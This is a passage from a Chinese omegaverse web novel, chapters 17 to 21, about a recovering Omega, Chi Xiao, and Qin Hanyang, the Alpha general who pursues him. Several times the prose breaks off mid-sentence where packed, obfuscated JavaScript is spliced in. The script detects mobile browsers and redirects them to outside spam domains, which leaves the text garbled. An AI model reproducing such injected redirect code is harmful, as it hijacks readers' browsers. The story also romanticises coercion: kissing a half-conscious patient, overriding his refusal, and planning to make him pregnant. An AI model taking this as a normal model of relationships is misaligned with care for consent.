这栋栖夏别墅坐落在市郊知名的景区里,迟晓打出租车只到半山腰,就被警卫拦下,只能走路上山。 如果不是因为江教授介绍,他一辈子也不可能站在这里。 这个认知在他走进奢华的大厅时更加鲜明。 他被带到书房,局促地直挺挺坐下,局促地对上茶的佣人说谢谢,接着又局促不安地等待。 等了足有一个小时。 他挺直的脊背开始酸痛,数着日影移动的距离猜时间,眼看补课的时间只剩十来分钟,他想大概秦瀚洋是忘记了,不会来了吧。这时,书房外传来脚步声。 他赶忙站起身,就见门被呼啦一下推开,一个少年站在门外。 一头浓密的黑发,作训服被汗水浸湿,手里还抱着个头盔,看起来像刚做过剧烈运动,浑身散发着少年人的蓬勃热力。 正是少年的秦瀚洋。 秦瀚洋看见迟晓,惊讶了一瞬。但那眼神很快恢复了疏离和傲慢。 他身后还站着两个少年人,也是刚训练完的模样,一个卷头发的很好奇地探头看他,另一个撇了一眼就转过头,似乎完全不关心。 没想到还有别人,迟晓怯生生的一句“你好”刚要出口,少年已经头也不回地走了。 房门啪地合上了,像拍在脸上。 迟晓脸皮发紧,隐约听到外面对话。 “不是吧,他还在等你,好老实啊。”那声音嘻嘻哈哈。 “长那个样子,我看没什么效果吧。”另一个声音百无聊赖道。 “帮你确认了,没什么味道。让你哥换一个吧。” 迟晓这才慢半拍地意识到,哪里是忘了,这人是故意把他晾在这里,还丝毫不在意。 外面脚步走远,始终没听见秦瀚洋说话,他是什么态度,迟晓不知道,但这评头论足的口气也足够不舒服了。 他们说的效果是什么意思?是补课的效果吗?和自己的长相又有什么关系? 味道又是什么意思?Omega的味道吗? 换来换去什么的,好像他是物件一样。 本来就因为等级太低而自卑,这几句话更是针一样扎在迟晓心里。 他看出,那两个男生应该都是Alpha,带着和秦瀚洋相似的,天生的压迫感。 他们都是贵族。 迟晓揪着裤边,对这个工作越加忐忑。 可现在该怎么办?他窘迫地站着,不知该走该留。 好在,一个佣人进来让他再等一会。他只得坐下,在心里默念——为了三千块,为了三千块。 他后悔来了,毕竟之前和秦瀚洋的三次见面都极为尴尬。 第一次他情·热发作,弄脏了他的飞行器,第二次他几乎半·裸,被他救下,第三次,他被Alpha骚扰,他视而无睹…… 这奇葩际遇,他们就不应该再见面,对方也不愿意见到他吧。 可是江教授告诉他课酬有三千,一星期三次课,算下来比母亲的月薪还多。 母亲越来越频繁地打来电话,催他快点搞到钱,甚至暗示出卖色相也可以。 他心里发冷,但还能有什么办法呢?他说服不了强势的母亲,就像在窒息中生活惯了的人,早忘了怎么痛快呼吸。 江教授的提议简直是雪中送炭,为了还债,他必须忍耐。 又坐了不知多久,秦瀚洋才来了。 迟晓看看时间,已经早过了下课的时间。 这次只有秦瀚洋一个人。 少年换了一身清爽的休闲装,看似普通的衣服,衣料和款式都是低调的高奢定制。 他似乎刚洗完澡,头发还带着水珠,往沙发上一靠,挡不住的贵气和荷尔蒙直面而来,仿佛在迟晓面前划下一道鸿沟,另一边的空气都闪着光。 秦二少爷翘起一边嘴角,礼节性地冲他笑笑。“啊,我哥说的家教就是你啊。” 迟晓不安点头:“是。” 秦瀚洋笑起来有种温暖又感性的味道,眼睛里却没什么温度。 “一个Omega自己跑出来,不怕被欺负吗?” 被他幽深莫测的眼神上下打量,迟晓更坐不住了。 他就是因为自己是Omega,才特意穿了一身很保守的衣服,灰色系衬衫的扣子直扣到领口,一点皮肤不露,还被秦瀚洋带几分嘲讽地打量,脸都红了。 “我带了抑制剂,在外面还戴帽子,认不出来的。”他解释。 “哦,”秦瀚洋挑眉,抱起手臂,目光从上往下扫过来。“确实认不出来。” 是说他不像Omega。迟晓在桌下扯住手指。 仆人端上装点精致的茶水点心,迟晓拘谨得摆手说不用,这里的一切都让他小心翼翼。 秦瀚洋看在眼里,似有若无地笑了一声,啜了一口饮料。 “所以,你一个Omega能指导我的学习?”他懒洋洋道。 迟晓:? 他这才明白过来,这人一点也不欢迎他来当家教。这是给他下马威呢。 可是就算是给自己找不痛快,他真的很需要这笔酬劳。 他尽量诚恳道:“我成绩还可以的。最近一次的高级联考模拟是菁华第1名,全首都的第63名。各科目也都很均衡,对了,我最擅长的是化学……” 联考是联盟统一的升学考,首都几十万考生排名,前五百名都是各大高等学府争夺的人才,Omega有免考任意学校的特权,根本不用参加联考。事实上,Omega大多毕业就结婚,根本没几个人会继续深造。 迟晓的这个模拟排名对Omega来说是可以载入史册的优秀。 但是,他的自我推销被打断了。 “我是第一名。”秦瀚洋懒洋洋地说。 迟晓愣住了。 “你,不用参加联考吧?” 秦瀚洋应该去的是要求更严苛的联盟军事学院,不走普通联考的路子。 更不用说,比起自己还小一届。 “考着玩的。”秦瀚洋满不在乎。 迟晓说不出话来了。 这哪里是学习不好?明明是学霸好吗? 迟晓怀疑江教授压根就搞错了。 他就不应该再见这个人,果然又丢人了。 但更丢人的还在后面。 少年的秦瀚洋抬起头,目光俯视他,傲气和鄙夷宛如锋刃。 “我不知道你来是因为缺钱还是什么别的原因,你最好不要想太多。钱我照付,你坐够一个小时就走,明白吗?” 迟晓脑袋里翁地一下,血涌上头。 什么别的原因,不要多想,不就是让自己别打他的主意吗?他也以为自己对他有意思吗? 教授为了帮助他争取的这个兼职,在对方看来就是他别有居心讨来的。 迟晓猛地站起来,不顾突然起身的晕眩,又气又窘得都结巴了。 “我,我没有...” 他不想被误会,正想斩钉截铁拒绝当家教,就听“叮”的一声。 他的光脑自动弹出消息。——您的账户入账6000元整。 秦瀚洋掀起眼皮,满是不屑。 “我再加3000,够吗?” “给你是省得我哥再弄什么不三不四的人来。” 不三不四…… 迟晓咬住嘴唇,看着少年头也不回地离开。 他太需要钱了,哪怕是施舍,他也无法拒绝。 …… …… 迟晓从记忆的深海里浮出,心想这就是他们交集的开始吧。 糟糕透了。 护理仪发出滴滴声,鼻端闻到淡淡的微咸气息,平静舒缓。 迟晓睁开眼,看到一张圆圆的脸。 “手术很成功,疲劳的话你可以再休息一会。”江教授笑着说。 迟晓没觉得疲劳,甚至创口也不疼,他躺在一张特制的病床上,后颈被麻醉液体包围,手背上连着输液管。 作为曾经的腺研所研究员,他知道这是专门治疗腺体外伤的病床。他可以平躺不会压到创口,同时缓解疼痛。 “疼的话按这里加麻醉剂。你没忘记这些吧?”江教授道,指着床头边一排小按钮。有呼叫护士,加麻醉,按摩,加热各种功能。 迟晓回以一个无力的微笑表示知道。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281340|151846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 腺体还是恢复了,他高兴不起来,想到那个家伙凶巴巴的脸,就暗暗希望产生排异反应什么的,导致移植失败。 一个声音突然响起。“迟老师,你还记得我吗?” 迟晓转过眼,看见一个穿护士服的年轻人,脸圆的程度和教授有一拼。有点熟悉,但他不认得。 “唔,好伤心啊,你果然忘了我啦。”年轻人一副可怜兮兮的样子,说话时露出两颗大门牙,像只仓鼠。 “他连你们将军都忘了,怎么可能还记得你。”江教授哈哈一乐,介绍道:“这是顾明亮,大地号的护理员,就他一个是Beta,所以由他来照顾你。” 迟晓有些惊讶,不明白自己怎么会认识大地号上的护士。 “叫我小亮就好啦,”顾明亮憨憨地说,“当年我第一次在大地号上服役,就是给您当助手,我那时候可敬佩您了…” “我曾经在大地号上?”迟晓皱眉。 “是啊,您负责调理将军的信息素紊乱……” “打住,别忘了你们将军的命令,叙旧可以等以后嘛。”江教授打断眼睛发亮回忆往昔的大仓鼠,对迟晓说:“有什么需要可以按铃呼叫。这几天吃得清淡些,能睡就尽量睡着。” 江教授又交代了几句就告辞了。 迟晓看着小亮用粗短的指头熟练地换下空药瓶,觉得这孩子还挺稳妥的。 他想询问过去的事,可转念一想,记忆很快也会恢复,没必要问一个不算熟识的人。于是改口:“这房间里有熏香吗?还是芳疗剂?” 这味道虽然似有若无,但真的很好闻,迟晓曾经也是配制腺体芳疗剂的行家,这味道太合他心意了,忍不住问了一句。 “没有啊,”小亮耸了耸鼻子,“江教授说这里没有适合你的芳疗剂,病房也不会熏香啊。有什么味道吗?” 他闻不到?迟晓奇怪。大约Omega的嗅觉本来就比Beta强些。他又吸了一口气,想了想说:“是海洋的味道。” “海洋?”小亮肉眼可见地咽了口唾沫,接着一拍手。“啊!我知道了,是海鲜的味道吧,您一定是很久没吃海鲜了。” 迟晓:并不是…… “不行哟,海鲜是发物,您现在不能吃。”小亮劝他,又苦笑。“咳,不过在星舰上您也吃不到,我们只有速食餐和营养剂吃。” 那昨天那顿大餐是他做梦梦见的吗?迟晓更奇怪了。 小亮做完活就出去了,临走挤了挤眼:“有事按铃哦,我随时响应。” “好的。”迟晓说。看来通讯录里的“随时响应”就是这位圆滚滚的小护士了。 说了这一会话,迟晓又有些困了,海洋的气息包围着他,太过舒适,他渐渐闭上了眼睛。 顾明亮一出房门就被吓了一大跳。 自家将军就在门外,。 联盟第一悍将的宽厚肩膀靠在墙上,一双眼藏在睫毛后面,比平时少了几分凌厉。 他竖起一根指头压在唇上,示意他安静。顾明亮吓得离体的魂才归位了,忙使劲点头,踮起脚尖,弯腰弓背地溜了。 边走边奇怪,将军的脸怎么有点红? 秦瀚洋脸红是因为江教授在手术室里给他扎的那一针。 谁能想到联盟最顶级的Alpha五年来全靠抑制剂度过易感期。如今魂牵梦绕的人就在一门之隔,他又被打了促进信息素分泌的药,几乎快烧起来。 他压抑着开门的冲动,海洋气息的信息素已经不受管控地溢满房间,包围住病床上的人。 即使感知到门里的人已睡着,仍舍不得离开, 直到白泽提醒他开会的信息弹出来。 —— 迟晓睡到半夜,被痛醒了。 后颈像被扯开一样疼痛,沉重地坠着,他都怀疑腺体从创口掉出来了。 他迅速按下加药泵,可等了好一会也没有缓解,只是把疼痛变成了阵痛。 再按就超量了,迟晓痛得出了一头冷汗,本来不想在半夜叫醒护士,但实在忍不了,只能按下呼叫铃。 按完后又想起了什么,调出光脑,点开“随时响应”的对话,发信息。 “后颈好痛。加麻醉剂无效,可以带一点稳定剂来吗?” 提前叫小亮拿药过来,比人来了再说拿药快些。 对方几乎是秒回。 “马上来。” 18. 第 18 章 接下去的等待漫长又难熬。麻药让他昏昏沉沉,迟晓随着痛发抖,被折磨得快意识不清。 朦胧中,房门开了,小夜灯昏黄的光线亮起来,映出一个模糊的影子。 那影子快速来到他身边,他听到打开药瓶的声音。 “等下,水...给我点水...”喉咙干涩,说话都像刀刮嗓子,必须先喝点水才能吃药。 很快,有杯子子靠近嘴边,可他的伤口只能躺着,这个姿势怎么也喝不到水,用力想抬高一点又痛得直吸气。 渴得急了,加上麻醉剂让大脑混乱,又一次疼痛袭来时,迟晓终于像受了挫折的孩子似得崩溃了。 他仰起头,一丝哭音从嘴边漏出。 秦瀚洋呼吸一窒。 他收到迟晓的消息,拿了药急匆匆跑来,没想到却看到这样脆弱又诱''人的一幕。 迟晓因为手术而苍白的脸沾着汗水,秀气的眉毛扭紧,白齿压迫红唇,轻声哭泣,纤长的脖颈拉出迷人的曲线,将Omega最敏感的部分显露出来。 与他无数次梦见的一模一样。 一时间,他几乎无法压制Alpha的本能,只想尽情攫取这个可爱的Omega。 但不行,迟晓才刚动完手术,他又不是野兽,非要这时候发·情。 理智堪堪战胜欲·望。 秦瀚洋狠狠闭了闭眼,才含了一口水,轻轻覆了上去。 迟晓的嘴唇上传来温凉柔软的触感,小心翼翼的碰触让他松开咬紧的牙齿,水流如甘泉涌入喉咙,他贪`婪地仓促吞咽,但是不够,太少了。 他像搁浅的鱼儿一样微微喘''息着张口讨要,嘴唇终于又贴上了什么,不是杯子,但他顾不上了,他只想要更多的水。 细细的吞咽声刺激秦瀚洋的耳鼓,他呼吸加重,想侵''占这甜蜜唇''舌的念头火一样烧灼着他。 曾经他只要释放一点信息素就能让迟晓哭泣哀求,如今却只能强自压抑,他作为Alpha的骄傲在找寻迟晓的五年里已被犹疑和自省磨平许多。 他渴望迟晓打开心扉,他可以等待,像狼收起爪牙,等待小白兔自己靠近,告诉他怎么下嘴。 他耐心地哺喂。 又释放出更多信息素,安慰着对方。 触碰轻柔得如发丝飘落,手却发狠地握紧护栏,用力到指节凸起。 不知喂了几次,那人终于不再喊渴,结束了对他的折磨。 Omega深吸一口微咸的空气,再呼出。像心满意足的小猫一样,睡着了。 秦瀚洋额头析出薄汗,他用尽所有毅力,才把目光从迟晓湿润的嘴`唇上移开。 然后打开光脑,联络江教授来看看迟晓的情况。 江教授却回复:“现在药品紧张,你就当天然麻醉剂,多待会吧。” “……” 秦瀚洋苦笑,他当然巴不得多待会,只是,这折磨也要继续了。 …… 第二天早上,迟晓睁开眼,就看见一张英俊阳刚的脸。 某少将双手环胸,靠坐在他的床头,似乎睡着了。 他眨了眨眼,依稀记起,昨晚自己好像痛醒了,呼叫小亮拿药来,然后喝了水睡着了。 可是醒来为什么是这个人在这?他是什么时候进来的?他怎么能进来? 他一个Alpha怎么能随便进Omega的病房! 迟晓抬手就要按呼叫铃,铃没有按到,手腕却被捉住了。 呼叫铃按钮就在秦瀚洋头边上,可是上一秒还在睡的人,下一秒就抓住他,这反应也太迅速了吧。 迟晓不可置信地抬头,就对上了一双幽深的眼眸。 “要做什么?”那人问。 秦瀚洋根本没睡着。 尽职尽责当了一晚上天然麻醉剂,释放安抚的信息素,又不敢多看那人一眼,直熬到天亮才靠在床边,闭了一会眼。 迟晓的动作他当然没错过。 有他在还用叫护士吗?他果断拦下。 “还疼吗?还是要喝水?”他问,一边站起来。 他身居高位惯了,哪里伺候过人。但江教授说过的话还是对他有了点影响。 迟晓是上天给他的礼物,他自然该对他好些。 迟·礼物·晓瑟缩了一下。 高傲的Alpha说要照顾他,这话听起来格外违和,男人站起来,压迫感更强了,忙抽回手腕。 要喝水你倒吗?他心里一百个不愿搭理,面上却只能忍气吞声。 “我要叫小亮。” 秦瀚洋愣了一下。小亮?顾明亮?那个Beta护理员? 才见一面的护士叫得那么亲密,对他可是连全名都没喊过呢。 秦瀚洋酸成了颗柠檬,脸色腊黄地说:“他会的我都会,你就说要做什么吧。” 迟晓幽幽瞥了他一眼。 “我,我要清创换药,吃药输液。还要洗漱换衣服吃饭上厕所,你都会?” 秦瀚洋噎了一下,清创输液他还真不会,可是Alpha怎么能在心爱的Omega面前说不会,而且他非常乐意帮迟晓洗漱换衣服吃饭上厕所…… 于是他挺了挺胸。 “怎么不会,我比他做得还好。” 然后就看见,躺着不能动的Omega睁大一双乌黑乌黑的眼睛,用不可理喻的眼神看向他,仿佛下一秒就要翻个大白眼。 迟晓觉得听到了一个极不好笑的笑话,堂堂少将,联盟最强的3S级Alpha,要伺候他? 是拿他取笑吧! 记忆里被这人甩钱鄙视的画面还很鲜明。 他想直截了当拒绝,但那人已经二话不说伸手过来。 “你干什么!”迟晓喊出声,戒备得像受惊的刺猬。 “帮你换衣服啊。”秦瀚洋挑着眉毛,理所当然地说。 “!!” 迟晓来不及阻止,对方修长的手指已经轻而易举解开他领口的纽扣。为腺体手术设计的病号服本就宽松,一下子散落开来,迟晓猝不及防间,大半肩膀都露了出来。 Omega的肌肤白到发亮,一颗红痣正在锁`骨的位置,就像奶酪上的血珠,落入秦瀚洋眼中,鲜艳预滴,和记忆中一样动人心魄。 本想逗一逗迟晓的秦少将顿时喉咙发干,移不开眼了。 某人的目光太炽热,迟晓察觉到了危险。 “别碰我!” 他挥开秦瀚洋的手,慌忙攥紧衣领。 这个动作似乎惹恼了Alpha,他忽地靠近,双手压在两侧床栏上,像宽大的羽翼将迟晓笼罩,眉弓投下阴影,遮住了他的眼。 “你又回忆起了什么才这么抗拒我,是吗?” 他的声音里有挫败,抬眼时,目光里的执着却让迟晓心颤。 “迟晓,记忆里的我不代表现在的我。” “你天生就属于我,很快你就会明白这一点。” …… 嘀—— 光脑提示音响起,打破紧绷的气氛。 是秦瀚洋收到白泽的语音。 “将军,各部人员已在作战室就位,等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281341|151846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您指示。” 秦瀚洋直起身整了整衣领,恢复军人的仪态,冲如临大敌瞪着他的迟晓笑笑。 “好好休息,下次再来看你。” 迟晓直等门完全关上,才脱力一般松了劲。 大坏蛋! 他恨恨地咬住唇。 记忆里,这人当年明明瞧不起他,如今却对他很是执着一般。 究竟是为什么? 以他的身份,想要什么样的Omega都能得到,没有道理看上一个残次劣等O。 难道,难道他曾经被秦瀚洋当做玩物? 本来随意逗弄的宠物擅自逃跑,主人才会抓它回来惩罚。就像他做研究员时曾听说的某些豪门秘辛一样。 想到这里,迟晓背上滑过一片冰寒。 他安慰自己不要胡思乱想,手指却不听使唤,颤抖着点开光脑。 走廊里,秦瀚洋又收到一条新消息。 “小亮,你能让你们将军不要再进我房间吗?” 秦瀚洋顿住脚步?迟晓是把自己当成顾明亮了?还让那小护士拦他?他拦得住吗? 秦瀚洋又好气又好笑,回复一条“为什么?” 又等了好一会,对方才回复。 “抱歉,他也不是你能阻拦的,就当我没说过吧。” …… 秦瀚洋很不是滋味。迟晓的恐惧和抗拒像被一把软刀子戳在他心上。 信息又来了。“能麻烦你现在过来吗?我想下床了。” 秦瀚洋盯着短信。 行啊,对谁都客客气气的,唯独对他,一碰就炸毛,再碰就逃了。 他想了想,敲下回复。“好的,这就来。但是,将军他可以随时进入您房间这件事,是教授批准的,和试验有关,请您谅解。” 言下之意,秦瀚洋可以,而且必须再进入迟晓的病房。 迟晓不可以拒绝他。 发出消息后,对面再也没有回复。 看样子Omega已经接受事实,秦瀚洋冲站在一边的小胖子抬了抬下巴。 顾明亮早就准备好换药包和护理包,碍于秦瀚洋在房间里不敢进去,这会收到指示,立刻逃命似地进屋了。一边还在想,妈呀,您瞪我干嘛?我啥也没做啊。 病房的门啪嗒一声关上了,秦瀚洋却没有立刻离开。 他想起刚才那人受惊的模样,懊悔是不是做的有点过份了。 他明明比以前沉稳许多,却还是忍不住想逗弄欺负迟晓。 就像迟晓第一次来半山别墅做家教的时候。 青涩胆怯的青年穿着件半旧的素色衬衫,把领口扣到第一颗扣子。保守又拘谨。 秦瀚洋第一次仔细看那张脸,洗去浓妆的脸说不上多么惊艳,却别有一种清俊秀气,不容染指的干净。 和印象中爱慕虚荣,攀附豪门的劣等Omega完全不同。 可当时的自己看见他和薛枫拉拉扯扯,又被各种流言蜚语洗脑,偏见根深蒂固,对待迟晓嘲讽加鄙视,毫不留情,让那张苍白的脸庞羞窘发红。 让他哭出来一定更有趣吧。谁叫他心思不正,耍小心思接近他呢。当时的秦瀚洋有点恶劣地想。 那时他并不知道,江教授让迟晓到他身边的真实目的。 某种意义上,迟晓就是来引`诱他的。 用他自然分化的Omega信息素做催.情剂,引出他的欲''望,诱导他的身心加速成长,进而分化成更强大的Alpha。 必须是迟晓, 除他之外的任何人都做不到。 19. 第 19 章 人类进入星际时代后,随着星域的扩张兼并,以及与异种的百年冲突,原有的权力体系崩溃,泛星系联盟成为最高行政机构。 数个做出巨大贡献的家族占据了联盟议庭的关键席位,其中,秦氏是最为强有力的家族之一。 然而秦家本家到这一代只有一个分化成Alpha的男孩——比秦瀚洋大十多岁的大哥秦之序。 父母早逝,秦之序选择从政维持家族地位,可是,泛星系联盟因为长期与异种作战,最受敬仰的人是军人和科学家。 秦之序成为执政官的作用有限,秦家迫切需要一位军界领袖延续权利的巅峰。 十几岁的秦瀚洋被寄予厚望。 他必须分化成顶级的Alpha,参军立功,稳住秦氏的地位。 可令人着急的是,他已经到了分化的最大年龄,一年内没有分化,他将会被判定为Beta。 而若是成为Beta,不管能力再强,他连军校都没资格进入。 秦瀚洋再不愿意也只能按家族的安排,定期去腺研所找江怀意测激素水平,吃促进分化的药物。 当时还是高级研究员的江怀意在学术上独辟蹊径。他推测,自然分化的Omega信息素是绝佳的促进剂,比任何激素药剂都有效。 试验秘密进行了。秦瀚洋是后来才知道的。 确实十分有效。 这个C级Omega使他成为全联盟唯一一个3S级Alpha。 江怀意说的没错,迟晓是上天送给他的礼物。 他只能属于他。 嘀嘀—— 白泽催促开会的消息再次传来,秦瀚洋从回忆里抽身,向会议室走去。 与中央星系的通讯中断,盘古受损,星舰无法跃迁,异种时刻可能入侵,他有太多事情要操心。而最主要的,是保证迟晓的安全,并在回去之前让他怀孕,堵住议庭里那帮老头子的嘴。 如此看来,目前的失联也不算坏事。 —— “太糟糕了。”顾明亮一边将治疗床调到坐起模式一边说。“失联这么久我都没和我妈联系,她一定担心坏了。真不知道什么时候才能逃脱这黑洞。” 病房里,迟晓坐起身,活动一下颈背。 那天以后,他晚上再也没有痛醒,但早上总能闻到淡淡的海水的味道,很舒服。 伤口也好得奇快,现在只用贴修复凝胶就可以了,随意动作都不会疼。 “白泽说黑洞的引力在增强,到达可以跃迁的地方可能需要更久。”迟晓轻轻活动脖颈。 “啊,不是吧——”小护士长叹一声,把一份午餐放在迟晓面前的小桌板上。“不知道吃的能不能维持那么久。” “好香啊,原来舰上真的有鲜鱼啊。”他不知第几次感慨迟晓的伙食。 迟晓看着鲈鱼豆腐汤和新鲜蔬菜水果也很感慨。 手术第二天可以进食,到现在五天,他顿顿都是变着花样的新鲜餐食,对比小亮的速食营养餐,他都不好意思了。 不过小亮总说“你是Omega又是病号,当然该吃得好些。” 这几天里,小亮已经和他成了好朋友,白天尽心尽力照顾他,晚上还发消息各种嘱咐他。 “痛了要说。立刻就来。”配图,一直神气活现,毛皮锃亮的杜宾。 “今天的菜喜欢吗?厨师让我问的。”配图,叼着骨头的杜宾。 “老躺着很无聊?明天带几本书给你。”配图,背小书包的杜宾。 “好好休息,晚安。”当然也有配图,杜宾举爪。 消息里的小亮没有白天活泼,反而有种霸总既视感,话少得有些违和。但每说几句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281342|151846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就蹦出一只萌萌酷酷的黑狗狗表情,让迟晓觉得,还是蛮可爱的。 迟晓吃完饭,拿起之前看一半的书继续读。书是顾明亮带来的,内容是抗击异种的经典战役。正好讲到了盘古成名的那一战。 蜂巢型异种突袭蛇夫座的巴纳德星系,数以万计的坦克大小的类节肢动物异种冲入防线,如巨蜂群席卷城市。作为蜂巢的巨大坚硬母体停留在赤道轨道上,不断释放蜂群。 以往的作战方式,是军队火力集中对付太空中的母体,就算如此也十分吃力,不得不放弃对地面的保护,造成巨大的牺牲和损失。 而盘古的服役改变了这一切。 常规火力可以转而对付地面蜂群,而盘古则直面太空中的蜂巢。 人形机甲炸开蜂群涌出的通路,直冲进异种巢穴的内部。当所有人都为他捏一把汗时,蜂巢突然爆裂。 刺目的火光撕裂母体钢铁般的外壳,无数碎屑坠入大气层,在到达地面前,燃烧出五彩斑斓的火焰,消失。 盘古从巢穴内部引爆核磁弹,在太空中上演了一场振奋人心的烟花秀。 书里有配彩图。一张是暗夜中的绝美焰火,另一张照片上是盘古驾驶员。 高挑健硕的青年胳膊夹着头盔,站在机甲肩头,意气风发的笑容比阳光耀眼,比胸口的勋章更闪亮。 青年剑眉上扬,带着少年人的锋锐,即使笑着,也如猛兽一般,毫不掩饰锋芒。 迟晓对着那笑容看了几秒,扁了扁嘴,很不情愿地承认,这家伙真是从小到大都很有魅力。 越长大越危险越吸引人。 像一座生机与杀机并存的雨林,或蕴藏宝藏深不见底的海洋,只适合传奇,冒险与荣耀的人生。 对自己这样只求平凡安稳的人来说,再好奇也不能探足一步,否则一定会尸骨无存。 20. 第 20 章 迟晓沉浸在书中时,门开了,江教授走进来。 “今天情况怎么样?”他笑呵呵地问,一边调出床旁监护仪的护理记录来看。 “还好。”迟晓放下书。 “伤口恢复得很好,照这情况,过几天迟老师就能活蹦乱跳了。”顾明亮开心地说。 “活蹦乱跳就算了,别又逃跑了。”江教授接口。 迟晓垂下眼睛。 看上去很是乖顺,藏在刘海下的眼睛却闪了闪。 被盘古抓回来以后,他就知道了,从秦瀚洋手底下逃跑是不可能的事。 但谁说得准呢,他前半生都舍弃了,就不会再任人摆布。 一有机会,他就要逃离这里,逃离这个自大的Alpha。 江教授全然没察觉,对着护理记录笑得眼睛眯成缝。 从数据上看,迟晓恢复的程度超出预期。果然和高匹配度的Alpha多接触是对的。 秦瀚洋也尽心,每天晚上偷偷进屋,小心翼翼释放信息素,又在迟晓醒来前就走。 也难为少将先生熬了一宿又一宿。 他关上护理记录,笑道:“既然恢复得差不多了,就该进入下一阶段的功能复健了。你这几天先做好准备。” 迟晓听到这句话,咽了口唾沫,浑身都不自在起来。 功能复健,就是测试移植的腺体是否能分泌信息素,使他进入情''热期。 迟晓从来都是个保守的Omega,体检都会害羞,测试腺体功能就像当众脱衣一样,更加难以接受。 “那,如果进入情''热期期了怎么办?”他声音不由自主小了些。“有抑制剂吗?” “抑制剂?”江教授看小孩一样看他。“你要抑制剂干嘛?腺体还没完全长好就抑制它?那可不行。” “你需要的是一个Alpha,临时标记一下就好了。正好手边就有全联盟最优质的Alpha。” “什么!?”迟晓脸红了。 教授的意思,是让那个人临时标记他? 想到秦瀚洋他就心底发怵,毛孔都透出抗拒。 “不要!没有抑制剂的话,我硬抗也可以抗过去。”迟晓目视前方,语气坚定。 见他倔脾气又上来了,教授摇了摇头。 “你既然这么抵触,那就算了,用药就用药吧。”迟晓的情绪对手术成功也有影响,教授顺着他。“不过,不用抑制剂。你需要的是安慰剂。” 顾名思义,抑制剂是抑制情热,安慰剂则是模仿Alpha的信息素,帮助Omega享受地渡过情''热期。 效果类似Beta用的自·慰道具。 迟晓的脸更红了。这,这不是让他…… 江教授见迟晓欲言又止的模样,哈哈笑了起来。“你害羞什么,当年这个东西你还做了不少。” “啊?”顾明亮惊讶地张圆了嘴。“做啥做啥?不是我想的那样吧!” 迟晓也呆住了:啊?我为什么要做这个?不是,小亮……你想到什么了啊。 一分钟后。 顾明亮:“教授您能好好说话吗?迟老师做研究员的时候给委托人研制过安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14281343|151846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慰剂,您得这样说。” 教授呵呵笑:“他做安慰剂真是一把好手,委托人都点名找他。只要取一点某个Alpha的信息素,他就能配出一模一样的味道,连效果都没差多少,你说神奇不神奇。” 一把好手的迟晓十分无语。 “我是有调配过安慰剂,可我自己从没用过啊。” 正好顾明亮出去拿东西了,江教授神秘兮兮冲他挤眼:“谁说没用过了,你用得都快上瘾了!” …… 迟晓愣了一秒,接着, !!!!!!!! 不可能,他,他怎么会! 他完全没有任何记忆。 用安慰剂的都是丈夫不在身边的Omega,短期使用不会上瘾。 用到上瘾,不就说明,他被Alpha标记过但又被抛弃了,只能靠安慰剂渡过情''热期? 又或者,大龄又没有Alpha要他,只能靠自''慰药剂渡过情热…… 不管是哪一样都可悲至极! 迟晓表情先是震惊,接着像吃了脏东西又噎到吐不出来一样扭曲起来。 “所以,到底是为什么我要用这个东西?” 江教授醒悟过来,忙用胖手捂住嘴。“遭了,你还没回忆到这呢。” 迟晓:“不是,我,我为什么不用抑制剂要用……?你倒是告诉我呀!” 江教授打断他:“哎呀哎呀,记忆导入的进度有点慢啊,要不,现在就再安排一次导入吧。” 迟晓:…... 大脑一片空白…… 21. 第 21 章 躺进记忆导入仪时,迟晓还沉浸在江教授的惊悚发言里没出来。 长期使用安慰剂确实会产生类似于被再次标记的效果,只能靠安慰剂渡过易感期。也就是教授说的上瘾。 一般是被Alpha标记后抛弃,又不想清洗腺体的Omega,或者是没有Alpha要,年龄大了只能沉溺于安慰剂的快''感的Omega,才会上瘾。 无论是哪种,想想就很悲惨。迟晓实在接受不了。 而且,他完全可以使用更安全的抑制剂。他想不出自己为什么宁肯用安慰剂,他并不是耽溺于享乐的人。 一定是教授逗他玩,乱说的。 